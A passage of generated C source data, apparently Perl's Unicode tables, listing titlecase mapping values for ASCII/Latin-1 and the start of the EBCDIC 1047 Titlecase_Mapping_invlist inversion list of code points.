0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - TC_use_AUX_TABLE_7, - TC_use_AUX_TABLE_8, - TC_use_AUX_TABLE_9, - TC_use_AUX_TABLE_10, - TC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - TC_use_AUX_TABLE_12, - 0x1F59, - TC_use_AUX_TABLE_13, - 0x1F5B, - TC_use_AUX_TABLE_14, - 0x1F5D, - TC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0, - 0x1F98, - 0, - 0x1FA8, - 0, - 0x1FB8, - TC_use_AUX_TABLE_16, - 0x1FBC, - TC_use_AUX_TABLE_17, - 0, - TC_use_AUX_TABLE_18, - TC_use_AUX_TABLE_19, - 0, - 0x399, - 0, - TC_use_AUX_TABLE_20, - 0x1FCC, - TC_use_AUX_TABLE_21, - 0, - TC_use_AUX_TABLE_22, - TC_use_AUX_TABLE_23, - 0, - 0x1FD8, - TC_use_AUX_TABLE_24, - TC_use_AUX_TABLE_4, - 0, - TC_use_AUX_TABLE_25, - TC_use_AUX_TABLE_26, - 0, - 0x1FE8, - TC_use_AUX_TABLE_27, - TC_use_AUX_TABLE_5, - TC_use_AUX_TABLE_28, - 0x1FEC, - TC_use_AUX_TABLE_29, - TC_use_AUX_TABLE_30, - 0, - TC_use_AUX_TABLE_31, - 0x1FFC, - TC_use_AUX_TABLE_32, - 0, - TC_use_AUX_TABLE_33, - TC_use_AUX_TABLE_34, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - TC_use_AUX_TABLE_35, - TC_use_AUX_TABLE_36, - TC_use_AUX_TABLE_37, - TC_use_AUX_TABLE_38, - TC_use_AUX_TABLE_39, - TC_use_AUX_TABLE_40, - 0, - TC_use_AUX_TABLE_41, - TC_use_AUX_TABLE_42, - TC_use_AUX_TABLE_43, - TC_use_AUX_TABLE_44, - TC_use_AUX_TABLE_45, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Titlecase_Mapping_invlist[] = { /* for EBCDIC 1047 */ - 1334, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8D, - 0x8E, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 